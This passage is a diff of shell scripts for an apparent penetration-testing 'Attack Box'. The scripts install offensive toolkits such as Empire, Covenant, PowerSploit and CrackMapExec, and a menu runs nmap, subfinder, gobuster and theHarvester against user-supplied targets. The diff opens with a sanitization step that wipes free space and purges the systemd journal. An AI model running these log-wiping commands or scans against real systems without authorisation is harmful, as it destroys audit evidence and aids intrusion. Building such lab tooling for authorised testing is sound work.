read -p "Perform secure free space wipe? (y/N): " WIPE_FREE
|
||||||
|
if [ "$WIPE_FREE" = "y" ] || [ "$WIPE_FREE" = "Y" ]; then
|
||||||
|
echo -e "${YELLOW}[*] Securely wiping free space (this may take a while)${NC}"
|
||||||
|
dd if=/dev/urandom of=/tmp/wipe_file bs=1M 2>/dev/null || true
|
||||||
|
rm -f /tmp/wipe_file 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Clear systemd journal
|
||||||
|
echo -e "${YELLOW}[*] Clearing systemd journal${NC}"
|
||||||
|
sudo journalctl --vacuum-time=1s 2>/dev/null
|
||||||
|
|
||||||
|
# Final cleanup
|
||||||
|
echo -e "${YELLOW}[*] Final cleanup${NC}"
|
||||||
|
sync
|
||||||
|
sudo updatedb 2>/dev/null
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo -e "${GREEN}=== EMERGENCY SANITIZATION COMPLETE ===${NC}"
|
||||||
|
echo -e "${YELLOW}Consider rebooting the system for maximum effectiveness${NC}"
|
||||||
|
echo -e "${RED}WARNING: This does not guarantee complete data removal${NC}"
|
||||||
+122
@@ -0,0 +1,122 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Attack Box - Git Repositories Cloning Script
|
||||||
|
# Clones security tool repositories with enhanced feedback
|
||||||
|
|
||||||
|
# Get OPERATOR_DIR from environment or use default
|
||||||
|
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
||||||
|
|
||||||
|
echo "================================================================"
|
||||||
|
echo "GIT REPOSITORIES CLONING STARTED"
|
||||||
|
echo "================================================================"
|
||||||
|
|
||||||
|
REPOS=(
|
||||||
|
"https://github.com/SecureAuthCorp/impacket.git"
|
||||||
|
"https://github.com/danielmiessler/SecLists.git"
|
||||||
|
"https://github.com/swisskyrepo/PayloadsAllTheThings.git"
|
||||||
|
"https://github.com/fuzzdb-project/fuzzdb.git"
|
||||||
|
"https://github.com/1N3/Sn1per.git"
|
||||||
|
"https://github.com/maurosoria/dirsearch.git"
|
||||||
|
"https://github.com/OJ/gobuster.git"
|
||||||
|
"https://github.com/aboul3la/Sublist3r.git"
|
||||||
|
"https://github.com/laramies/theHarvester.git"
|
||||||
|
"https://github.com/Tib3rius/AutoRecon.git"
|
||||||
|
"https://github.com/carlospolop/PEASS-ng.git"
|
||||||
|
"https://github.com/rebootuser/LinEnum.git"
|
||||||
|
"https://github.com/mzet-/linux-exploit-suggester.git"
|
||||||
|
"https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git"
|
||||||
|
"https://github.com/PowerShellMafia/PowerSploit.git"
|
||||||
|
"https://github.com/BloodHoundAD/BloodHound.git"
|
||||||
|
"https://github.com/EmpireProject/Empire.git"
|
||||||
|
"https://github.com/cobbr/Covenant.git"
|
||||||
|
"https://github.com/byt3bl33d3r/CrackMapExec.git"
|
||||||
|
"https://github.com/Hackplayers/evil-winrm.git"
|
||||||
|
)
|
||||||
|
|
||||||
|
REPO_NAMES=(
|
||||||
|
"impacket-dev"
|
||||||
|
"SecLists"
|
||||||
|
"PayloadsAllTheThings"
|
||||||
|
"fuzzdb"
|
||||||
|
"Sn1per"
|
||||||
|
"dirsearch-dev"
|
||||||
|
"gobuster-dev"
|
||||||
|
"Sublist3r"
|
||||||
|
"theHarvester-dev"
|
||||||
|
"AutoRecon"
|
||||||
|
"PEASS-ng"
|
||||||
|
"LinEnum"
|
||||||
|
"linux-exploit-suggester"
|
||||||
|
"Windows-Exploit-Suggester"
|
||||||
|
"PowerSploit"
|
||||||
|
"BloodHound"
|
||||||
|
"Empire"
|
||||||
|
"Covenant"
|
||||||
|
"CrackMapExec-dev"
|
||||||
|
"evil-winrm"
|
||||||
|
)
|
||||||
|
|
||||||
|
TOTAL=${#REPOS[@]}
|
||||||
|
CURRENT=0
|
||||||
|
FAILED=0
|
||||||
|
SUCCESS=0
|
||||||
|
|
||||||
|
# Create git directory if it doesn't exist
|
||||||
|
mkdir -p "$OPERATOR_DIR/tools/git"
|
||||||
|
cd "$OPERATOR_DIR/tools/git"
|
||||||
|
|
||||||
|
for i in "${!REPOS[@]}"; do
|
||||||
|
CURRENT=$((CURRENT + 1))
|
||||||
|
repo="${REPOS[$i]}"
|
||||||
|
name="${REPO_NAMES[$i]}"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "[$CURRENT/$TOTAL] Cloning $name..."
|
||||||
|
echo "Repository: $repo"
|
||||||
|
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||||
|
echo "Started: $(date '+%H:%M:%S')"
|
||||||
|
|
||||||
|
if [ -d "$name" ]; then
|
||||||
|
echo "Repository $name already exists, updating..."
|
||||||
|
cd "$name"
|
||||||
|
if timeout 300 git pull origin main 2>/dev/null || timeout 300 git pull origin master 2>/dev/null; then
|
||||||
|
SUCCESS=$((SUCCESS + 1))
|
||||||
|
echo "✓ $name updated successfully"
|
||||||
|
else
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo "✗ $name update failed"
|
||||||
|
fi
|
||||||
|
cd ..
|
||||||
|
else
|
||||||
|
if timeout 300 git clone --depth 1 "$repo" "$name" 2>&1 | while read line; do echo "[GIT] $line"; done; then
|
||||||
|
if [ -d "$name" ]; then
|
||||||
|
SUCCESS=$((SUCCESS + 1))
|
||||||
|
echo "✓ $name cloned successfully"
|
||||||
|
echo "Size: $(du -sh "$name" | cut -f1)"
|
||||||
|
else
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo "✗ $name directory not found after clone"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo "✗ $name clone failed or timed out"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Completed: $(date '+%H:%M:%S')"
|
||||||
|
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||||
|
echo "Remaining: $(( TOTAL - CURRENT )) repositories"
|
||||||
|
echo "================================================================"
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "GIT REPOSITORIES CLONING SUMMARY:"
|
||||||
|
echo "================================="
|
||||||
|
echo "Total attempted: $TOTAL"
|
||||||
|
echo "Successful: $SUCCESS"
|
||||||
|
echo "Failed: $FAILED"
|
||||||
|
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||||
|
echo ""
|
||||||
|
echo "Cloned repositories:"
|
||||||
|
ls -la "$OPERATOR_DIR/tools/git/" | head -20
|
||||||
|
|
||||||
|
exit 0
|
||||||
Executable
+104
@@ -0,0 +1,104 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Attack Box - Go Tools Installation Script
|
||||||
|
# Installs security tools via go install with enhanced feedback
|
||||||
|
|
||||||
|
# Get OPERATOR_DIR from environment or use default
|
||||||
|
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
||||||
|
|
||||||
|
export GOPATH="$OPERATOR_DIR/tools/go"
|
||||||
|
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
|
||||||
|
mkdir -p "$GOPATH"
|
||||||
|
|
||||||
|
echo "================================================================"
|
||||||
|
echo "GO TOOLS INSTALLATION STARTED"
|
||||||
|
echo "================================================================"
|
||||||
|
echo "Installing Go tools to $GOPATH/bin..."
|
||||||
|
echo "Each tool has a 5-minute timeout"
|
||||||
|
echo "================================================================"
|
||||||
|
|
||||||
|
GO_TOOLS=(
|
||||||
|
"github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
|
||||||
|
"github.com/projectdiscovery/httpx/cmd/httpx@latest"
|
||||||
|
"github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest"
|
||||||
|
"github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"
|
||||||
|
"github.com/projectdiscovery/dnsx/cmd/dnsx@latest"
|
||||||
|
"github.com/projectdiscovery/katana/cmd/katana@latest"
|
||||||
|
"github.com/tomnomnom/waybackurls@latest"
|
||||||
|
"github.com/tomnomnom/assetfinder@latest"
|
||||||
|
"github.com/tomnomnom/httprobe@latest"
|
||||||
|
"github.com/tomnomnom/gf@latest"
|
||||||
|
"github.com/lc/gau/v2/cmd/gau@latest"
|
||||||
|
"github.com/hakluke/hakrawler@latest"
|
||||||
|
"github.com/ropnop/kerbrute@latest"
|
||||||
|
)
|
||||||
|
|
||||||
|
TOOL_NAMES=(
|
||||||
|
"subfinder"
|
||||||
|
"httpx"
|
||||||
|
"nuclei"
|
||||||
|
"naabu"
|
||||||
|
"dnsx"
|
||||||
|
"katana"
|
||||||
|
"waybackurls"
|
||||||
|
"assetfinder"
|
||||||
|
"httprobe"
|
||||||
|
"gf"
|
||||||
|
"gau"
|
||||||
|
"hakrawler"
|
||||||
|
"kerbrute"
|
||||||
|
)
|
||||||
|
|
||||||
|
TOTAL=${#GO_TOOLS[@]}
|
||||||
|
CURRENT=0
|
||||||
|
FAILED=0
|
||||||
|
SUCCESS=0
|
||||||
|
|
||||||
|
for i in "${!GO_TOOLS[@]}"; do
|
||||||
|
CURRENT=$((CURRENT + 1))
|
||||||
|
tool="${GO_TOOLS[$i]}"
|
||||||
|
name="${TOOL_NAMES[$i]}"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "[$CURRENT/$TOTAL] Installing $name..."
|
||||||
|
echo "Repository: $tool"
|
||||||
|
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||||
|
echo "Started: $(date '+%H:%M:%S')"
|
||||||
|
echo "Working directory: $GOPATH"
|
||||||
|
|
||||||
|
if timeout 300 bash -c "go install -v $tool 2>&1 | while read line; do echo '[GO] $line'; done"; then
|
||||||
|
if [ -f "$GOPATH/bin/$name" ]; then
|
||||||
|
SUCCESS=$((SUCCESS + 1))
|
||||||
|
echo "✓ $name installed successfully at $GOPATH/bin/$name"
|
||||||
|
ls -la "$GOPATH/bin/$name"
|
||||||
|
else
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo "✗ $name binary not found after installation"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo "✗ $name installation failed or timed out"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Completed: $(date '+%H:%M:%S')"
|
||||||
|
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||||
|
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||||
|
echo "================================================================"
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "GO TOOLS INSTALLATION SUMMARY:"
|
||||||
|
echo "=============================="
|
||||||
|
echo "Total attempted: $TOTAL"
|
||||||
|
echo "Successful: $SUCCESS"
|
||||||
|
echo "Failed: $FAILED"
|
||||||
|
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||||
|
echo ""
|
||||||
|
echo "Installed Go tools:"
|
||||||
|
ls -la "$GOPATH/bin/" || echo "No Go tools installed"
|
||||||
|
echo ""
|
||||||
|
echo "Go environment:"
|
||||||
|
echo "GOPATH: $GOPATH"
|
||||||
|
echo "Go version: $(go version 2>/dev/null || echo 'Go not found')"
|
||||||
|
echo "Go executable: $(which go || echo 'Go not in PATH')"
|
||||||
|
|
||||||
|
exit 0
|
||||||
+84
@@ -0,0 +1,84 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Attack Box - Python Tools Installation Script
|
||||||
|
# Installs security tools via pipx with enhanced feedback
|
||||||
|
|
||||||
|
export PATH="/root/.local/bin:$PATH"
|
||||||
|
|
||||||
|
echo "================================================================"
|
||||||
|
echo "PYTHON TOOLS INSTALLATION STARTED"
|
||||||
|
echo "================================================================"
|
||||||
|
echo "Total tools to install: 29"
|
||||||
|
echo "Each tool has a 5-minute timeout"
|
||||||
|
echo "================================================================"
|
||||||
|
|
||||||
|
TOOLS=(
|
||||||
|
"impacket"
|
||||||
|
"bloodhound"
|
||||||
|
"crackmapexec"
|
||||||
|
"netexec"
|
||||||
|
"droopescan"
|
||||||
|
"wpscan"
|
||||||
|
"arjun"
|
||||||
|
"subjack"
|
||||||
|
"sublist3r"
|
||||||
|
"theharvester"
|
||||||
|
"feroxbuster"
|
||||||
|
"dirsearch"
|
||||||
|
"sqlmap"
|
||||||
|
"wafw00f"
|
||||||
|
"dnsrecon"
|
||||||
|
"dnsgen"
|
||||||
|
"massdns"
|
||||||
|
"altdns"
|
||||||
|
"paramspider"
|
||||||
|
"linkfinder"
|
||||||
|
"xsstrike"
|
||||||
|
"scapy"
|
||||||
|
"pwntools"
|
||||||
|
"volatility3"
|
||||||
|
"ldapdomaindump"
|
||||||
|
"ldap3"
|
||||||
|
"responder"
|
||||||
|
"mitm6"
|
||||||
|
"enum4linux-ng"
|
||||||
|
"smbmap"
|
||||||
|
)
|
||||||
|
|
||||||
|
TOTAL=${#TOOLS[@]}
|
||||||
|
CURRENT=0
|
||||||
|
FAILED=0
|
||||||
|
SUCCESS=0
|
||||||
|
|
||||||
|
for tool in "${TOOLS[@]}"; do
|
||||||
|
CURRENT=$((CURRENT + 1))
|
||||||
|
echo ""
|
||||||
|
echo "[$CURRENT/$TOTAL] Installing $tool..."
|
||||||
|
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||||
|
echo "Started: $(date '+%H:%M:%S')"
|
||||||
|
|
||||||
|
if timeout 300 pipx install --verbose "$tool" 2>&1; then
|
||||||
|
SUCCESS=$((SUCCESS + 1))
|
||||||
|
echo "✓ $tool installed successfully"
|
||||||
|
else
|
||||||
|
FAILED=$((FAILED + 1))
|
||||||
|
echo "✗ $tool installation failed or timed out"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Completed: $(date '+%H:%M:%S')"
|
||||||
|
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||||
|
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||||
|
echo "================================================================"
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "PYTHON TOOLS INSTALLATION SUMMARY:"
|
||||||
|
echo "=================================="
|
||||||
|
echo "Total attempted: $TOTAL"
|
||||||
|
echo "Successful: $SUCCESS"
|
||||||
|
echo "Failed: $FAILED"
|
||||||
|
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||||
|
echo ""
|
||||||
|
echo "Installed pipx tools:"
|
||||||
|
pipx list
|
||||||
|
|
||||||
|
exit 0
|
||||||
+392
@@ -0,0 +1,392 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Manual Testing Menu for Attack Box
|
||||||
|
# Interactive interface for manual penetration testing tasks
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
# Colors for output
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
PURPLE='\033[0;35m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
# ASCII Banner
|
||||||
|
show_banner() {
|
||||||
|
echo -e "${CYAN}"
|
||||||
|
cat << "EOF"
|
||||||
|
╔═══════════════════════════════════════╗
|
||||||
|
║ ATTACK BOX MENU ║
|
||||||
|
║ Manual Testing Interface ║
|
||||||
|
╚═══════════════════════════════════════╝
|
||||||
|
EOF
|
||||||
|
echo -e "${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main menu
|
||||||
|
show_main_menu() {
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo -e "${GREEN} Attack Box Manual Testing Menu ${NC}"
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo
|
||||||
|
echo -e "${BLUE}1.${NC} Target Reconnaissance"
|
||||||
|
echo -e "${BLUE}2.${NC} Network Scanning"
|
||||||
|
echo -e "${BLUE}3.${NC} Web Application Testing"
|
||||||
|
echo -e "${BLUE}4.${NC} Vulnerability Assessment"
|
||||||
|
echo -e "${BLUE}5.${NC} Exploitation Framework"
|
||||||
|
echo -e "${BLUE}6.${NC} Post-Exploitation"
|
||||||
|
echo -e "${BLUE}7.${NC} Password Attacks"
|
||||||
|
echo -e "${BLUE}8.${NC} Wireless Testing"
|
||||||
|
echo -e "${BLUE}9.${NC} Social Engineering"
|
||||||
|
echo -e "${BLUE}10.${NC} OSINT Tools"
|
||||||
|
echo -e "${BLUE}11.${NC} Custom Scripts"
|
||||||
|
echo -e "${BLUE}12.${NC} Tool Status & Updates"
|
||||||
|
echo -e "${BLUE}13.${NC} Generate Reports"
|
||||||
|
echo -e "${BLUE}0.${NC} Exit"
|
||||||
|
echo
|
||||||
|
echo -ne "${YELLOW}Select an option [0-13]: ${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Reconnaissance menu
|
||||||
|
recon_menu() {
|
||||||
|
clear
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo -e "${GREEN} Reconnaissance Tools ${NC}"
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo
|
||||||
|
echo -e "${BLUE}1.${NC} Domain Enumeration (theHarvester)"
|
||||||
|
echo -e "${BLUE}2.${NC} Subdomain Discovery (Subfinder + Amass)"
|
||||||
|
echo -e "${BLUE}3.${NC} DNS Enumeration (dnsrecon)"
|
||||||
|
echo -e "${BLUE}4.${NC} WHOIS Lookup"
|
||||||
|
echo -e "${BLUE}5.${NC} Shodan Search"
|
||||||
|
echo -e "${BLUE}6.${NC} Google Dorking (Pagodo)"
|
||||||
|
echo -e "${BLUE}7.${NC} Certificate Transparency"
|
||||||
|
echo -e "${BLUE}8.${NC} Automated Recon Script"
|
||||||
|
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||||
|
echo
|
||||||
|
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||||
|
|
||||||
|
read -r choice
|
||||||
|
case $choice in
|
||||||
|
1) domain_enum ;;
|
||||||
|
2) subdomain_discovery ;;
|
||||||
|
3) dns_enum ;;
|
||||||
|
4) whois_lookup ;;
|
||||||
|
5) shodan_search ;;
|
||||||
|
6) google_dorking ;;
|
||||||
|
7) cert_transparency ;;
|
||||||
|
8) automated_recon ;;
|
||||||
|
0) return ;;
|
||||||
|
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; recon_menu ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# Network scanning menu
|
||||||
|
network_menu() {
|
||||||
|
clear
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo -e "${GREEN} Network Scanning Tools ${NC}"
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo
|
||||||
|
echo -e "${BLUE}1.${NC} Nmap Host Discovery"
|
||||||
|
echo -e "${BLUE}2.${NC} Nmap Port Scan (Top 1000)"
|
||||||
|
echo -e "${BLUE}3.${NC} Nmap Full Port Scan"
|
||||||
|
echo -e "${BLUE}4.${NC} Nmap Service Detection"
|
||||||
|
echo -e "${BLUE}5.${NC} Nmap Vulnerability Scripts"
|
||||||
|
echo -e "${BLUE}6.${NC} Masscan Fast Scan"
|
||||||
|
echo -e "${BLUE}7.${NC} Automated Port Scan Script"
|
||||||
|
echo -e "${BLUE}8.${NC} Network Mapper (netdiscover)"
|
||||||
|
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||||
|
echo
|
||||||
|
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||||
|
|
||||||
|
read -r choice
|
||||||
|
case $choice in
|
||||||
|
1) nmap_discovery ;;
|
||||||
|
2) nmap_port_scan ;;
|
||||||
|
3) nmap_full_scan ;;
|
||||||
|
4) nmap_service_detection ;;
|
||||||
|
5) nmap_vuln_scripts ;;
|
||||||
|
6) masscan_scan ;;
|
||||||
|
7) automated_port_scan ;;
|
||||||
|
8) network_discovery ;;
|
||||||
|
0) return ;;
|
||||||
|
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; network_menu ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# Web application testing menu
|
||||||
|
web_menu() {
|
||||||
|
clear
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo -e "${GREEN} Web Application Testing Tools ${NC}"
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo
|
||||||
|
echo -e "${BLUE}1.${NC} Directory/File Enumeration (Gobuster)"
|
||||||
|
echo -e "${BLUE}2.${NC} Technology Detection (WhatWeb)"
|
||||||
|
echo -e "${BLUE}3.${NC} Vulnerability Scanner (Nikto)"
|
||||||
|
echo -e "${BLUE}4.${NC} Web Crawler (Hakrawler)"
|
||||||
|
echo -e "${BLUE}5.${NC} Parameter Discovery (Arjun)"
|
||||||
|
echo -e "${BLUE}6.${NC} SQL Injection (SQLMap)"
|
||||||
|
echo -e "${BLUE}7.${NC} XSS Testing (XSStrike)"
|
||||||
|
echo -e "${BLUE}8.${NC} Automated Web Enum Script"
|
||||||
|
echo -e "${BLUE}9.${NC} Launch Burp Suite"
|
||||||
|
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||||
|
echo
|
||||||
|
echo -ne "${YELLOW}Select an option [0-9]: ${NC}"
|
||||||
|
|
||||||
|
read -r choice
|
||||||
|
case $choice in
|
||||||
|
1) directory_enum ;;
|
||||||
|
2) tech_detection ;;
|
||||||
|
3) web_vuln_scan ;;
|
||||||
|
4) web_crawler ;;
|
||||||
|
5) param_discovery ;;
|
||||||
|
6) sql_injection ;;
|
||||||
|
7) xss_testing ;;
|
||||||
|
8) automated_web_enum ;;
|
||||||
|
9) launch_burp ;;
|
||||||
|
0) return ;;
|
||||||
|
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; web_menu ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# Vulnerability assessment menu
|
||||||
|
vuln_menu() {
|
||||||
|
clear
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo -e "${GREEN} Vulnerability Assessment Tools ${NC}"
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo
|
||||||
|
echo -e "${BLUE}1.${NC} Nuclei Scanner"
|
||||||
|
echo -e "${BLUE}2.${NC} OpenVAS Scan"
|
||||||
|
echo -e "${BLUE}3.${NC} SearchSploit (ExploitDB)"
|
||||||
|
echo -e "${BLUE}4.${NC} CVE Search"
|
||||||
|
echo -e "${BLUE}5.${NC} Vulnerability Database Lookup"
|
||||||
|
echo -e "${BLUE}6.${NC} Custom Vulnerability Scripts"
|
||||||
|
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||||
|
echo
|
||||||
|
echo -ne "${YELLOW}Select an option [0-6]: ${NC}"
|
||||||
|
|
||||||
|
read -r choice
|
||||||
|
case $choice in
|
||||||
|
1) nuclei_scan ;;
|
||||||
|
2) openvas_scan ;;
|
||||||
|
3) searchsploit_search ;;
|
||||||
|
4) cve_search ;;
|
||||||
|
5) vuln_db_lookup ;;
|
||||||
|
6) custom_vuln_scripts ;;
|
||||||
|
0) return ;;
|
||||||
|
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; vuln_menu ;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# Functions for each tool category
|
||||||
|
domain_enum() {
|
||||||
|
echo -e "${YELLOW}[*] Domain Enumeration with theHarvester${NC}"
|
||||||
|
echo -ne "Enter target domain: "
|
||||||
|
read -r domain
|
||||||
|
echo -e "${GREEN}[+] Running theHarvester against $domain${NC}"
|
||||||
|
theHarvester -d "$domain" -b all -l 500
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
recon_menu
|
||||||
|
}
|
||||||
|
|
||||||
|
subdomain_discovery() {
|
||||||
|
echo -e "${YELLOW}[*] Subdomain Discovery${NC}"
|
||||||
|
echo -ne "Enter target domain: "
|
||||||
|
read -r domain
|
||||||
|
echo -e "${GREEN}[+] Running Subfinder...${NC}"
|
||||||
|
subfinder -d "$domain" -o "subdomains_$domain.txt"
|
||||||
|
echo -e "${GREEN}[+] Running Amass...${NC}"
|
||||||
|
amass enum -d "$domain" -o "amass_$domain.txt"
|
||||||
|
echo -e "${BLUE}[*] Results saved to subdomains_$domain.txt and amass_$domain.txt${NC}"
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
recon_menu
|
||||||
|
}
|
||||||
|
|
||||||
|
nmap_port_scan() {
|
||||||
|
echo -e "${YELLOW}[*] Nmap Port Scan (Top 1000)${NC}"
|
||||||
|
echo -ne "Enter target IP/range: "
|
||||||
|
read -r target
|
||||||
|
echo -e "${GREEN}[+] Scanning $target...${NC}"
|
||||||
|
nmap -sS -T4 --top-ports 1000 -oN "nmap_top1000_$target.txt" "$target"
|
||||||
|
echo -e "${BLUE}[*] Results saved to nmap_top1000_$target.txt${NC}"
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
network_menu
|
||||||
|
}
|
||||||
|
|
||||||
|
directory_enum() {
|
||||||
|
echo -e "${YELLOW}[*] Directory/File Enumeration${NC}"
|
||||||
|
echo -ne "Enter target URL: "
|
||||||
|
read -r url
|
||||||
|
echo -e "${GREEN}[+] Running Gobuster against $url${NC}"
|
||||||
|
gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "gobuster_$(echo $url | sed 's|https\?://||g' | tr '/' '_').txt"
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
web_menu
|
||||||
|
}
|
||||||
|
|
||||||
|
automated_recon() {
|
||||||
|
echo -e "${YELLOW}[*] Running Automated Reconnaissance Script${NC}"
|
||||||
|
echo -ne "Enter target domain/IP: "
|
||||||
|
read -r target
|
||||||
|
echo -e "${GREEN}[+] Executing recon automation script...${NC}"
|
||||||
|
if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
|
||||||
|
/root/operator/tools/scripts/recon_automation.sh "$target"
|
||||||
|
else
|
||||||
|
echo -e "${RED}[-] Recon automation script not found!${NC}"
|
||||||
|
fi
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
recon_menu
|
||||||
|
}
|
||||||
|
|
||||||
|
automated_port_scan() {
|
||||||
|
echo -e "${YELLOW}[*] Running Automated Port Scan Script${NC}"
|
||||||
|
echo -ne "Enter target IP/range: "
|
||||||
|
read -r target
|
||||||
|
echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
|
||||||
|
if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
|
||||||
|
/root/operator/tools/scripts/port_scan_automation.sh "$target"
|
||||||
|
else
|
||||||
|
echo -e "${RED}[-] Port scan automation script not found!${NC}"
|
||||||
|
fi
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
network_menu
|
||||||
|
}
|
||||||
|
|
||||||
|
automated_web_enum() {
|
||||||
|
echo -e "${YELLOW}[*] Running Automated Web Enumeration Script${NC}"
|
||||||
|
echo -ne "Enter target URL: "
|
||||||
|
read -r url
|
||||||
|
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
|
||||||
|
if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
|
||||||
|
/root/operator/tools/scripts/web_enum_automation.sh "$url"
|
||||||
|
else
|
||||||
|
echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
|
||||||
|
fi
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
web_menu
|
||||||
|
}
|
||||||
|
|
||||||
|
# Tool status and updates
|
||||||
|
tool_status() {
|
||||||
|
clear
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo -e "${GREEN} Tool Status & Updates ${NC}"
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Check key tools
|
||||||
|
tools=("nmap" "gobuster" "nuclei" "subfinder" "amass" "sqlmap" "nikto" "whatweb")
|
||||||
|
|
||||||
|
for tool in "${tools[@]}"; do
|
||||||
|
if command -v "$tool" &> /dev/null; then
|
||||||
|
echo -e "${GREEN}[✓]${NC} $tool - Installed"
|
||||||
|
else
|
||||||
|
echo -e "${RED}[✗]${NC} $tool - Not Found"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate reports
|
||||||
|
generate_reports() {
|
||||||
|
clear
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo -e "${GREEN} Generate Reports ${NC}"
|
||||||
|
echo -e "${GREEN}========================================${NC}"
|
||||||
|
echo
|
||||||
|
|
||||||
|
WORKSPACE="/root/operator"
|
||||||
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
|
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
|
||||||
|
|
||||||
|
mkdir -p "$REPORT_DIR"
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[*] Generating comprehensive report...${NC}"
|
||||||
|
|
||||||
|
# Collect all scan results
|
||||||
|
find "$WORKSPACE" -name "*.txt" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||||
|
find "$WORKSPACE" -name "*.html" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||||
|
